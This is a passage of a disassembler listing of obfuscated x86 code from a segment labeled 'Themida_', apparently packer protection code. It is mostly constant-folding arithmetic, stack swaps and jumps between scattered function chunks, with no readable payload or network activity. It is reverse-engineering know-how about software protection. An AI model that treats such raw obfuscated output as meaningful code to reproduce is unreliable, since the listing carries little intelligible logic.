		jmp	loc_591BC1
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D133


loc_59047A:				; CODE XREF: sub_58D133+1j
		mov	ebx, esp
		jmp	loc_591487
; END OF FUNCTION CHUNK	FOR sub_58D133
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590481:				; CODE XREF: sub_596082-7F4Bj
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	ebx
		mov	ebx, 41F4A8Bh
		add	ebx, 5F13401Bh
		jmp	loc_58FEDE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5904AA:				; CODE XREF: Themida_:005909B8j
		mov	[esp], edx
		mov	edx, 680808D7h
		push	ebx
		mov	ebx, 1F910382h
		neg	ebx
		and	ebx, 49092835h
		add	ebx, 27FFE0A1h
		sub	edx, ebx
		mov	ebx, [esp]
		jmp	loc_59660E
; ---------------------------------------------------------------------------


loc_5904D0:				; CODE XREF: Themida_:00594320j
		sub	eax, 43E15004h
		push	esi
		mov	esi, eax
		mov	ebx, esi
		jmp	loc_58E1D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_5904DF:				; CODE XREF: sub_596498-2AEAj
		push	esp
		pop	ecx
		jmp	loc_595C1F
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5904E6:				; CODE XREF: sub_58E66C+1AA7j
		shl	esi, 8
		jmp	loc_58EF1B
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_5904EE:				; CODE XREF: sub_596B50+1BEj
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 4
		mov	ecx, esi
		pop	esi
		add	ebx, ecx
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		xor	ebx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ebx
		xor	ebx, [esp-0Ch+arg_8]
		pop	esp
		push	ebp
		push	ecx
		mov	ecx, 24D45E8Fh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5969A6
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_590522:				; CODE XREF: Themida_:00591B20j
		inc	ebx
		shr	ebx, 7
		add	ebx, 4A5925A5h
		neg	ebx
		sub	ebx, 0B526D815h
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58EFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590545:				; CODE XREF: sub_58E66C-24EEj
		push	[esp+0Ch+var_C]
		jmp	loc_595605
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59054D:				; CODE XREF: Themida_:0059311Aj
		push	6B66h
		mov	[esp], edx
		push	ebp
		push	59B67821h
		jmp	loc_58CC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_590560:				; CODE XREF: sub_5F45E7-66503j
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_24+2], ecx
		mov	cl, 4Fh
		add	bl, cl
		pop	ecx
		add	bl, 68h
		sub	bl, 0ECh
		add	bl, al
		jmp	loc_58B389
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_590587:				; CODE XREF: sub_594EC6-64F4j
		add	esp, 4
		jmp	loc_594881
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------


loc_590592:				; CODE XREF: Themida_:00591D61j
		sub	esp, 4
		jmp	loc_58BB1C
; ---------------------------------------------------------------------------


loc_59059D:				; CODE XREF: Themida_:00591A11j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_593417
; ---------------------------------------------------------------------------


loc_5905A7:				; CODE XREF: Themida_:0059770Aj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58F620
; ---------------------------------------------------------------------------


loc_5905B5:				; CODE XREF: Themida_:0059222Ej
		add	ebp, edx
		jmp	loc_58A82C
; ---------------------------------------------------------------------------


loc_5905BC:				; CODE XREF: Themida_:005950A6j
		pop	edi
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5952BA
; ---------------------------------------------------------------------------


loc_5905CF:				; CODE XREF: Themida_:0058F8C3j
		add	ecx, 579A73FAh
		sub	ecx, 0BA01CC47h
		mov	edi, ecx
		jmp	loc_58A851
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_5905E2:				; CODE XREF: Themida_:0058C207j
					; sub_5925A4:loc_596827j
		add	edx, 2
		jmp	loc_58B711
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		push	edx
		jmp	loc_58C485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5905FE:				; CODE XREF: sub_591C99+56E5j
		pop	edx
		sub	eax, esi
		pop	esi
		jmp	sub_595BFA
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_59060F:				; CODE XREF: sub_58E91C+4636j
		push	edx
		mov	edx, 49480F7Bh
		and	edx, 7BB30101h
		sub	edx, 490000FDh
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_58A522
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_59063D:				; CODE XREF: Themida_:0058FA4Bj
		mov	[esp], cx
		push	5B64h
		mov	[esp], eax
		mov	ah, 18h
		mov	ch, 23h
		xor	ch, ah
		mov	eax, [esp]
		add	esp, 4
		sub	al, ch
		jmp	loc_58B807
; ---------------------------------------------------------------------------


loc_59065C:				; CODE XREF: Themida_:0058A7C4j
		pop	ecx
		push	edx
		mov	edx, 701A4C5Eh
		push	469Bh
		jmp	loc_58EAB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E600


loc_59066D:				; CODE XREF: sub_58E600+4F4Bj
		add	esp, 4
		sub	ebx, 1D454CB4h
		sub	esi, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_595E3F
; END OF FUNCTION CHUNK	FOR sub_58E600
; ---------------------------------------------------------------------------


loc_590683:				; CODE XREF: Themida_:0058ED02j
		push	small 0
		sub	[esp], ch
		mov	ch, [esp]
		add	esp, 2
		push	eax
		mov	al, 0F5h
		not	al
		and	al, 85h
		jmp	loc_590779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_59069C:				; CODE XREF: sub_58A50F+1B9Bj
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_592AAB
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5906AA:				; CODE XREF: sub_596082-79C5j
		mov	ebp, 78E21B20h
		push	ebp
		push	edx
		mov	edx, 21B12B86h
		sub	[esp+10h+var_C], edx
		pop	edx
		push	[esp+0Ch+var_C]
		jmp	loc_5912FA
; ---------------------------------------------------------------------------


loc_5906C3:				; CODE XREF: sub_596082-AF61j
		ja	sub_58A50F
		add	eax, 6F5695Fh
		jmp	loc_59389C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5906D3:				; CODE XREF: sub_593009-5B12j
		mov	esi, 4
		jmp	loc_593F36
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_5906DD:				; CODE XREF: Themida_:0058DAF7j
					; Themida_:00594DADj ...
		or	dh, 0F0h
		js	loc_58BB29
		neg	dh
		jl	loc_590C7E
		mov	ah, ch
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5906F0:				; CODE XREF: sub_58E66C+8DDEj
		mov	ecx, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp+14h+var_14]
		jmp	loc_595DD4
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_59070D:				; CODE XREF: sub_58A5F7+AEE1j
		add	esp, 4
		push	[esp-4+arg_0]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	sub_594EC6
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------


loc_59071F:				; CODE XREF: Themida_:0058BAF2j
		inc	edi
		jmp	loc_592E6C
; ---------------------------------------------------------------------------


loc_590725:				; CODE XREF: Themida_:0058A621j
					; Themida_:loc_58B695j
		xor	ecx, [esp]
		jmp	loc_590D0E
; ---------------------------------------------------------------------------


loc_59072D:				; CODE XREF: Themida_:00591620j
		push	small 71E4h
		mov	[esp], bx
		mov	bl, 20h
		xor	ah, bl
		jmp	loc_590A9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_59073E:				; CODE XREF: sub_58D90C+91ACj
		and	eax, 5B017174h
		jmp	loc_58B742
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964CE


loc_590748:				; CODE XREF: sub_5964CE+E70j
		sub	edi, 515D0A55h
		sub	edi, ebp
		jmp	sub_5967D4
; END OF FUNCTION CHUNK	FOR sub_5964CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590755:				; CODE XREF: sub_591C99-70A5j
		mov	[esp-0Ah+arg_0+2], edi
		mov	edi, 62A97ED9h
		add	eax, edi
		jmp	loc_58D582
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_590764:				; CODE XREF: Themida_:005942B1j
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_590779:				; CODE XREF: Themida_:00590697j
		sub	al, 23h
		jmp	loc_595C69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_590780:				; CODE XREF: sub_58D6A0+1258j
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	2296h
		mov	[esp+4+var_4], ecx
		push	4FAh
		jmp	loc_58B65A
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590796:				; CODE XREF: sub_596082-F51j
		add	ebx, 35AD4851h
		jmp	loc_5901ED
; ---------------------------------------------------------------------------


loc_5907A1:				; CODE XREF: sub_596082-679Ej
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], edx
		push	[esp+18h+var_14]
		push	[esp+1Ch+var_1C]
		pop	edx
		add	esp, 4
		pop	[esp+18h+var_18]
		jmp	loc_593288
; ---------------------------------------------------------------------------


loc_5907D0:				; CODE XREF: sub_596082-6FB1j
		mov	ecx, eax
		pop	eax
		push	ecx
		not	[esp+34h+var_36+2]
		pop	ecx
		and	ecx, 0A2551ADh
		push	edi
		jmp	loc_594AAD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5907E4:				; CODE XREF: sub_58E66C+3CB3j
		push	eax
		mov	eax, 25474C0Dh
		or	ecx, eax
		pop	eax
		jmp	loc_58E983
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5907F2:				; CODE XREF: Themida_:00594745j
		add	ecx, 13296Fh
		sub	edi, 50A86937h
		add	edi, ecx
		push	ebp
		mov	ebp, 50A86937h
		jmp	loc_58AB8D
; ---------------------------------------------------------------------------


loc_59080B:				; CODE XREF: Themida_:005971EBj
		pop	ebx
		jmp	loc_58FD94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590811:				; CODE XREF: sub_58E66C+80B9j
		or	eax, eax
		jz	sub_597088
		push	ecx
		push	esi
		jmp	loc_58D9A1
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_590820:				; CODE XREF: Themida_:0059383Fj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590825:				; CODE XREF: sub_596082-875Cj
		not	eax
		shl	eax, 2
		shr	eax, 4
		jmp	loc_58A9F5
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_590832:				; CODE XREF: Themida_:0058D483j
					; Themida_:0058DCF9j
		mov	eax, 43AF6F19h
		xor	eax, 6D1A0167h
		push	eax
		add	dword ptr [esp], 193C4FA7h
		jmp	loc_58BC87
; ---------------------------------------------------------------------------


loc_590849:				; CODE XREF: Themida_:005958B0j
		add	ebp, 3A723786h
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 1A254CD0h
		dec	ebx
		add	ebx, 0E5DAB333h
		add	ebp, ebx
		pop	ebx
		push	1F12h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_591719
; ---------------------------------------------------------------------------


loc_59087A:				; CODE XREF: Themida_:00595B39j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5923CD
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		mov	bl, 26h
		add	bl, 0D8h
		add	al, bl
		pop	ebx
		jmp	loc_5929F9
; ---------------------------------------------------------------------------


loc_590895:				; CODE XREF: Themida_:0058EF3Aj
		sub	al, 0FCh
		push	edx
		mov	dl, 5Eh
		jmp	loc_596332
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59089F:				; CODE XREF: sub_58E66C+85D5j
		add	ebp, 2A0D738Eh
		sub	ebp, 10A6BC2h
		add	ebp, ecx
		add	ebp, 10A6BC2h
		jmp	loc_593488
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_5908B8:				; CODE XREF: sub_5925A4+B66j
		pop	ecx
		add	al, 85h
		jmp	loc_58D74F
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_5908C0:				; CODE XREF: sub_596BC4-A88Bj
					; Themida_:0058F6DCj
		push	[esp+0Ch+var_8]
		jmp	loc_591981
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------


loc_5908C9:				; CODE XREF: Themida_:00592007j
		push	eax
		mov	al, 44h
		mov	ch, al
		jmp	loc_58E43A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5908D3:				; CODE XREF: sub_58E66C+65F0j
		pop	eax
		jmp	loc_59666C
; ---------------------------------------------------------------------------


loc_5908D9:				; CODE XREF: sub_58E66C-3A94j
		mov	eax, 27AFA05Eh
		jmp	loc_58BF14
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5908E3:				; CODE XREF: sub_596082:loc_58EDE5j
					; Themida_:0059163Aj
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		jmp	loc_5900FB
; ---------------------------------------------------------------------------


loc_5908F1:				; CODE XREF: sub_596082-5D08j
		add	esi, 28B25F41h
		jmp	loc_59474A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5908FC:				; CODE XREF: Themida_:0058F08Fj
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esp
		jmp	loc_58D3CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59090C:				; CODE XREF: sub_58E66C+361Dj
		pop	edx
		add	ecx, 4
		jmp	loc_596CB7
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_590918:				; CODE XREF: Themida_:00592BACj
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_58C131
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5953D2


loc_590928:				; CODE XREF: sub_5953D2+F49j
		pop	esp
		push	edi
		mov	edi, 72A07AB8h
		push	ecx
		mov	ecx, 7F821D1h
		jmp	loc_592E1C
; END OF FUNCTION CHUNK	FOR sub_5953D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_59093A:				; CODE XREF: sub_596BC4:loc_58B949j
		dec	ebp
		sub	ebp, 0E752EA32h
		jmp	loc_593B94
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590946:				; CODE XREF: sub_596082-42F3j
		add	edx, 52500518h
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_594BE3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_590957:				; CODE XREF: sub_5F45E7-615ABj
		add	ebp, ebx
		add	ebp, 4FDC2910h
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_58AEA8
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_59096E:				; CODE XREF: Themida_:00592050j
		add	ecx, 17EE0304h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59099F:				; CODE XREF: sub_596082+152Aj
		sub	al, 1
		pop	ecx
		push	ecx
		mov	ch, 8Ah
		add	al, ch
		jmp	loc_592EBA
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5909AC:				; CODE XREF: Themida_:0059135Bj
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5904AA
; ---------------------------------------------------------------------------


loc_5909BD:				; CODE XREF: Themida_:0058D9FEj
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5A767C29h
		or	ecx, 4FDF640Eh
		inc	ecx
		jmp	loc_58F7D3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59743C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_5909DE:				; CODE XREF: sub_58FB68+6j
		add	ebx, 60DE6CF4h
		add	ebx, edx
		push	3698h
		mov	[esp+0], eax
		mov	eax, 59305F79h
		jmp	loc_590099
; END OF FUNCTION CHUNK	FOR sub_58FB68

; =============== S U B	R O U T	I N E =======================================



sub_5909F8	proc near		; CODE XREF: sub_58E66C+4176j
					; Themida_:00595C56j

; FUNCTION CHUNK AT 00593EF1 SIZE 0000000D BYTES

		push	ebx
		jmp	loc_593EF1
sub_5909F8	endp

; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_58CD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590A0D:				; CODE XREF: sub_591C99+36FCj
		inc	ch
		jmp	loc_58C44B
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590A14:				; CODE XREF: sub_596082-2400j
		xor	ebp, 8373CAC9h
		xor	edx, ebp
		pop	ebp
		mov	edi, edx
		jmp	loc_58F530
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590A24:				; CODE XREF: sub_591C99:loc_58CDA2j
		and	edx, 3148173Bh
		jbe	loc_594839
		sub	edx, 114815FFh
		jmp	loc_594FD4
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_590A3B:				; CODE XREF: Themida_:0058D836j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_593AD8
; ---------------------------------------------------------------------------


loc_590A53:				; CODE XREF: Themida_:0058ADEFj
		mov	eax, [esp]
		jmp	loc_59350C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_590A5B:				; CODE XREF: sub_590B23+4B76j
		not	ebp
		sub	ebp, 0FDC719Ah
		or	ebp, 7E6D76EEh
		ja	loc_593B0C
		push	ecx
		mov	ecx, 5EFB3EFBh
		add	ecx, 113B5D4h


loc_590A7B:				; CODE XREF: sub_596082-B288j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_591A37
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E65


loc_590A89:				; CODE XREF: sub_592E65+1EC1j
		sub	ebx, 0A0E48D6h
		jmp	loc_590FCF
; END OF FUNCTION CHUNK	FOR sub_592E65
; ---------------------------------------------------------------------------


loc_590A94:				; CODE XREF: Themida_:005900C5j
		dec	edi
		jmp	loc_58D14A
; ---------------------------------------------------------------------------


loc_590A9A:				; CODE XREF: Themida_:00590739j
		pop	bx
		jmp	loc_590BE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_590AA1:				; CODE XREF: sub_59425A-7057j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------


loc_590AA6:				; CODE XREF: Themida_:00595523j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58DED3
; ---------------------------------------------------------------------------


loc_590AB1:				; CODE XREF: Themida_:0058EDA5j
		add	ebx, edx
		jmp	loc_59310F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590AB8:				; CODE XREF: sub_596082-4136j
		add	ebx, 6DD259B1h
		jmp	loc_592EEA
; ---------------------------------------------------------------------------


loc_590AC3:				; CODE XREF: sub_596082-8B45j
		add	ebp, 2C96EC5h
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp+8+var_8]
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		pop	esp
		add	ecx, 7DC3389Bh
		jmp	loc_5902D5
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_590AE2:				; CODE XREF: Themida_:00593632j
		pop	edx
		add	eax, esi
		jmp	loc_58E542
; ---------------------------------------------------------------------------


loc_590AEA:				; CODE XREF: Themida_:0058C234j
		mov	bh, 3Eh
		jmp	loc_5950AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_590AF1:				; CODE XREF: sub_58F160+398Bj
		add	edi, 13D5D27Dh
		add	ecx, edi
		mov	edi, [esp+4+var_4]
		jmp	loc_58CDBA
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_590B01:				; CODE XREF: sub_596498-AD4Bj
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_58C433
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594239


loc_590B0F:				; CODE XREF: sub_594239-4FF5j
		add	edi, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_58B131
; END OF FUNCTION CHUNK	FOR sub_594239

; =============== S U B	R O U T	I N E =======================================



sub_590B23	proc near		; CODE XREF: sub_596498-99ECj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058FA94 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005901BF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00590A5B SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00590E31 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591A37 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593B0C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594AD8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595573 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595698 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059607B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005972C0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059750A SIZE 00000009 BYTES

		push	ebp
		push	ebx
		mov	ebx, 2E3A4CA8h
		add	ebx, 377F1252h
		mov	ebp, ebx
		jmp	loc_595698
sub_590B23	endp

; ---------------------------------------------------------------------------


loc_590B37:				; CODE XREF: Themida_:0058E188j
		shr	eax, 1
		jp	loc_58CCD0
		xor	eax, 6DBB39F6h
		js	loc_58D71D
		sub	eax, 5C0E76E0h
		jge	loc_595AB2
		jmp	loc_58FB41
; ---------------------------------------------------------------------------
		pop	eax
		jmp	loc_58AE2C
; ---------------------------------------------------------------------------
		mov	ah, 4Fh
; START	OF FUNCTION CHUNK FOR sub_596498


loc_590B63:				; CODE XREF: sub_596498+610j
		and	eax, esi
		push	dword ptr [esp+0]
		mov	esi, [esp+4+var_4]
		jmp	loc_58F41D
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_590B70:				; CODE XREF: Themida_:00592AA6j
					; Themida_:0059759Ej
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5961C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590B96:				; CODE XREF: sub_596082+F9Aj
		shl	eax, cl
		push	esi
		push	ebx
		push	36D16F97h
		pop	ebx
		shl	ebx, 5
		jnz	loc_58B5EE
		and	ebx, 0F55255Eh
		jmp	loc_5955AE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_590BB4:				; CODE XREF: Themida_:0058CE11j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59606B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_590BC5:				; CODE XREF: sub_5F45E7-669D3j
		xchg	edi, [esp+0]
		pop	esp
		push	esp
		pop	dword ptr [esp+0]
		add	dword ptr [esp+0], 4
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_58C3FC
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_590290
; ---------------------------------------------------------------------------


loc_590BE8:				; CODE XREF: Themida_:00590A9Cj
		push	ebx
		mov	bl, ah
		mov	dh, bl
		pop	ebx
		pop	eax
		jmp	loc_595477
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_590BF4:				; CODE XREF: sub_58AE7C+C6D0j
		mov	[esp+4+var_4], edx
		jmp	loc_596212
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_590BFC:				; CODE XREF: sub_58D6A0-1B41j
		add	eax, 774968E1h
		add	eax, edx
		sub	eax, 774968E1h
		push	dword ptr [esp+0]
		jmp	loc_5910A7
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2D6


loc_590C10:				; CODE XREF: sub_58E2D6+Fj
		pop	esp
		push	edi
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 5DE83D48h
		mov	edi, 0C047F916h
		add	edi, ecx
		pop	ecx
		sub	edi, 71B64E22h
		sub	edi, 0FFFFFFFFh
		push	eax
		mov	eax, 7A145B75h
		and	eax, 1A554081h
		not	eax
		push	ebp
		jmp	loc_593FED
; END OF FUNCTION CHUNK	FOR sub_58E2D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590C44:				; CODE XREF: sub_58E66C+37DBj
